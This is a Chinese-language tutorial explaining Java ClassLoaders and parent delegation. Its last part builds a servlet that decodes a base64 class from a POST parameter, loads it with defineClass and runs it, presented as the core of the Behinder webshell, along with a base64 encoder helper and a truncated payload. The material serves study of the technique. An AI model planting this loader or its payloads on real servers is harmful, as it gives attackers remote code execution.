demo2learn,兴趣使然
Java Classloader是JRE的一部分,动态加载来自系统、网络或其他各种来源Java类到Java虚拟机的内存中。
Java源代码通过Javac编译器编译成类文件,然后JVM来执行类文件中的字节码来执行程序。
我是这样理解的。Classloader就是通过一系列操作,把各种来源的各种格式的数据,以一个正确合适的类解析方式解析,读入内存,让JVM能理解执行
拿XML理解,一个xml可以是系统里的xml、可以是我们自己写的xml文件、可以是HTTP传输的XML数据,直接格式规范,就能被读取
BootstrapClassLoader
是最底层加载器。他没有父加载器,由C语言代码实现,主要负责加载存储在$JAVA_HOME/jre/lib/rt.jar
中的核心Java库,包括JVM本身。我们常用内置库java.xxx.*
都在里面,比如 java.util.*、java.io.*、java.nio.*、java.lang.*
等等。这个 ClassLoader 比较特殊,将它称之为「根加载器」。我们来测试一波,在项目里新建一个文件,叫demoClassloader
代码如下:
import java.io.BufferedInputStream; public class demoClassloader { public static void main(String[] args){ System.out.println("用java.io.BufferedInputStream测试根加载器,结果是:"+ BufferedInputStream.class.getClassLoader()); } }
然后配置一个运行环境,这里新建一个Application
。输入配置
运行结果符合预期。
ExtensionClassLoader
由sun.misc.Launcher$ExtClassLoader
类实现。负责加载 JVM 扩展类,用来加载\jre\lib\ext
的类,这些库名通常以 javax 开头,它们的 jar 包位于 $JAVA_HOME/lib/ext/*.jar
中,有很多 jar 包。那我这里叫他拓展加载器。
我们找一个位于的$JAVA_HOME/lib/ext/*.jar
类,右键点依赖的copy path看一下物理路径。运气很好,第一个jar包就符合要求
把刚才的代码改一下:
import com.sun.java.accessibility.AccessBridge; import java.io.BufferedInputStream; public class demoClassloader { public static void main(String[] args){ System.out.println("用java.io.BufferedInputStream测试根加载器,结果是:"+ BufferedInputStream.class.getClassLoader()); System.out.println("用AccessBridge测试拓展加载器,结果是:"+ AccessBridge.class.getClassLoader()); } }
运行结果符合预期:
AppClassLoader
由sun.misc.Launcher$AppClassLoader
实现。是直接面向我们用户的加载器,它会加载 Classpath 环境变量里定义的路径中的 jar 包和目录。我们自己编写的代码
以及使用的第三方 jar
包通常都是由它来加载的。那我这里叫他应用加载器。(这里这样来理解,拓展加载器更底层,这些类一般没有实现某一个具体的需求功能。而应用加载器加载的类一般封装的更完整,都实现了具体的功能和需求)。
我们来找一个第三方依赖、以及自己写的代码。很简单,这里我们直接用上节导入的Commons-collection
和这个测试类自己
测试一波,改一下代码:
import com.sun.java.accessibility.AccessBridge; import org.apache.commons.collections.map.LazyMap; import java.io.BufferedInputStream; public class demoClassloader { public static void main(String[] args){ System.out.println("用java.io.BufferedInputStream测试根加载器,结果是:"+ BufferedInputStream.class.getClassLoader()); System.out.println("用AccessBridge测试拓展加载器,结果是:"+ AccessBridge.class.getClassLoader()); System.out.println("用commons-collections的Lazymap测试应用加载器,结果是:"+ LazyMap.class.getClassLoader()); System.out.println("用自己写的demoClassloader测试应用加载器,结果是:"+ demoClassloader.class.getClassLoader()); } }
结果都符合预期。
UserDefineClassLoader
这不是某一个加载器的名称,是一种用户还可以通过继承java.lang.ClassLoader
类,来实现自己的类加载器。这里可以参考UDF。
综上,每个 Class 对象里面都有一个 classLoader 属性记录了当前的类是由谁来加载的。所有延迟加载的类都会由初始调用 main 方法的这个 ClassLoader 全全负责,它就是 AppClassLoader。
程序在运行过程中,遇到了一个未知的类,它会选择哪个 ClassLoader 来加载它呢?虚拟机的策略是使用调用者 Class 对象的 ClassLoader 来加载当前未知的类。何为调用者 Class 对象?就是在遇到这个未知的类时,虚拟机肯定正在运行一个方法调用(静态方法或者实例方法)。(至少我们的main方法作为入口)
sun.misc.Launcher$ExtClassLoader
,那么就表示这个类也是「拓展加载器」加载的。sun.misc.Launcher$AppClassLoader
,那么就表示这个类也是 [应用加载器」加载的。这就有一个疑问了,我们写的程序一般都是main方法作为入口,那么这个时候我们的加载器就是应用加载器AppClassLoader
。可是我们的程序中经常会用的系统库和第三方库啊,这些类不应该由AppClassLoader
加载。JVM是怎么解决这个疑问的呢?下面将介绍双亲委派机制
简单说一下双亲委派。
AppClassLoader
遇到没有加载的系统类库, 必须将库的加载工作交给ExtensionClassLoader
ExtensionClassLoader
遇到没有加载的系统类库,必须将库的加载工作交给BootstrapClassLoader
这三个ClassLoader之间形成了级联的父子关系,每个ClassLoader都很懒,尽量把工作交给父亲做,父亲干不了了自己才会干。每个ClassLoader对象内部都会有一个parent
属性指向它的父加载器。ExtensionClassLoader
的 parent 指针画了虚线,这是因为它的 parent 的值是 null
,当 parent 字段是 null
时就表示它的父加载器是「根加载器」。同样的,某个 Class 对象的 classLoader 属性值是 null
,那么就表示这个类也是「根加载器」加载的。
加载器可以被分为两类,
看一下ClassLoader,核心有三个方法:loadClass、findClass、defineClass,我们跟一下loadClass方法。
public Class<?> loadClass(String name) throws ClassNotFoundException { return loadClass(name, false); }//单参的重载 protected Class<?> loadClass(String name, boolean resolve) throws ClassNotFoundException { synchronized (getClassLoadingLock(name)) { // First, check if the class has already been loaded Class<?> c = findLoadedClass(name);//看一下这个类是否已经加载 if (c == null) {//如果c为空,没有已经加载 long t0 = System.nanoTime(); try { if (parent != null) {//判断父加载器是否为空 c = parent.loadClass(name, false);//不为空就调用父加载器的loadClass方法 } else { c = findBootstrapClassOrNull(name);//如果为空,就调用跟加载器 } } catch (ClassNotFoundException e) { // ClassNotFoundException thrown if class not found // from the non-null parent class loader } if (c == null) { // If still not found, then invoke findClass in order // to find the class.//如果没有“成功甩锅”个哦父加载器,就调用findClass方法 long t1 = System.nanoTime(); c = findClass(name);//把结果赋值给c变量 // this is the defining class loader; record the stats sun.misc.PerfCounter.getParentDelegationTime().addTime(t1 - t0); sun.misc.PerfCounter.getFindClassTime().addElapsedTimeFrom(t1); sun.misc.PerfCounter.getFindClasses().increment(); } } if (resolve) { resolveClass(c);//使用resolve方法解析findClass的结果 } return c; } }
原注释就写的很清楚,加了部分注释。也印证了上面关于双亲委派的内容。
在实际情况下,我们不仅仅只希望使用classpath当中指定的类或者jar包进行调用使用,我们希望干任何事情,使用各种类。自定义类加载器步骤:
1、继承ClassLoader类
2、调用defineClass()方法
先停停,看看这个。我TM直接好家伙,我愿意称之为ClassLoader最佳初学demo。为啥?有趣!而且每个web狗应该都接触过。
原文:首先要让服务端有动态地将字节流解析成Class的能力,这是基础。
正常情况下,Java并没有提供直接解析class字节数组的接口。不过classloader内部实现了一个protected的defineClass方法,可以将byte[]直接转换为Class
搞起来。
理清一下思路,我们要干嘛?
import sun.misc.BASE64Decoder; import javax.servlet.ServletException; import javax.servlet.annotation.WebServlet; import javax.servlet.http.HttpServlet; import javax.servlet.http.HttpServletRequest; import javax.servlet.http.HttpServletResponse; import java.io.IOException; import java.io.PrintWriter; @WebServlet(name = "democlassLoader") //这里是注释配置访问servlet public class demoClassLoaderServlet extends HttpServlet { protected void doPost(HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException { String classStr=request.getParameter("key"); BASE64Decoder code=new BASE64Decoder(); Class result=new Myloader().get(code.decodeBuffer(classStr));//将base64解码成byte数组,并传入t类的get函数 try { System.out.println(result.newInstance().toString()); } catch (InstantiationException e) { e.printStackTrace(); } catch (IllegalAccessException e) { e.printStackTrace(); } } protected void doGet(HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException { PrintWriter out = response.getWriter(); out.write("Hello world from LoaderServlet"); out.close(); } } class Myloader extends ClassLoader //继承ClassLoader { public Class get(byte[] b) { return super.defineClass(b, 0, b.length); } }
改一下web.xml
<servlet> <servlet-name>democlassLoader</servlet-name> <servlet-class>demoClassLoaderServlet</servlet-class> </servlet> <servlet-mapping> <servlet-name>democlassLoader</servlet-name> <url-pattern>/democlassLoader</url-pattern> </servlet-mapping>
把运行环境切成tomcat,跑起来。
用GET方法测试一下,保证servlet运行正常
这个Payload是抄冰蝎的,我们点一下这个小锤子,生成编译好的class。然后把class文件转成base64的编码,下面是从csdn\掘金抄的代码。
import java.io.File; import java.io.FileInputStream; import sun.misc.BASE64Encoder; public class class2base64 { /** * <p>将文件转成base64 字符串</p> * @param path 文件路径 * @return * @throws Exception */ public static String encodeBase64File(String path) throws Exception { File file = new File(path); FileInputStream inputFile = new FileInputStream(file); byte[] buffer = new byte[(int)file.length()]; inputFile.read(buffer); inputFile.close(); return new BASE64Encoder().encode(buffer); } public static void main(String[] args) { try { String base64Code =encodeBase64File("your path for payload.class"); System.out.println(base64Code); } catch (Exception e) { e.printStackTrace(); } } }
配一下运行环境,把main函数指定到base64转换这个文件上,点运行。看到output栏已经打印了转换结果。注意,这里有一个+
号,这种符号在HTTP请求中,会被专业+
号代表空格,后面处理HTTP请求的适合要注意做一次URL编码
把运行环境切到tomcat,启动。
访问以下项目路径,抓个包,切成POST请求。
在POST的body加上,注意把+
url编码一下,就是%2b。
key=yv66vgAAADMAKQoACQAZCgAaABsIABwKABoAHQcAHgoABQAfCAAgBwAhBwAiAQAGPGluaXQ%2bAQADKClWAQAEQ29kZQEAD0xpbmVOdW1iZXJUYWJsZQEAEkxvY2FsVmFyaWFibGVUYWJsZQEABHRoaXMBABhMZGVtb0NsYXNzTG9hZGVyUGF5bG9hZDsBAAh0b1N0cmluZwEAFCgpTGphdmEvbGFuZy9TdHJpbmc7AQABZQEAFUxqYXZhL2lvL0lPRXhjZXB0aW9uOwEADVN0YWNrTWFwVGFibGUHAB4BAApTb3
鸡冻人心的时候到了,点一下send。看看发生什么。
成功执行。
感谢phithon、rebeyond、小阳(不分先后)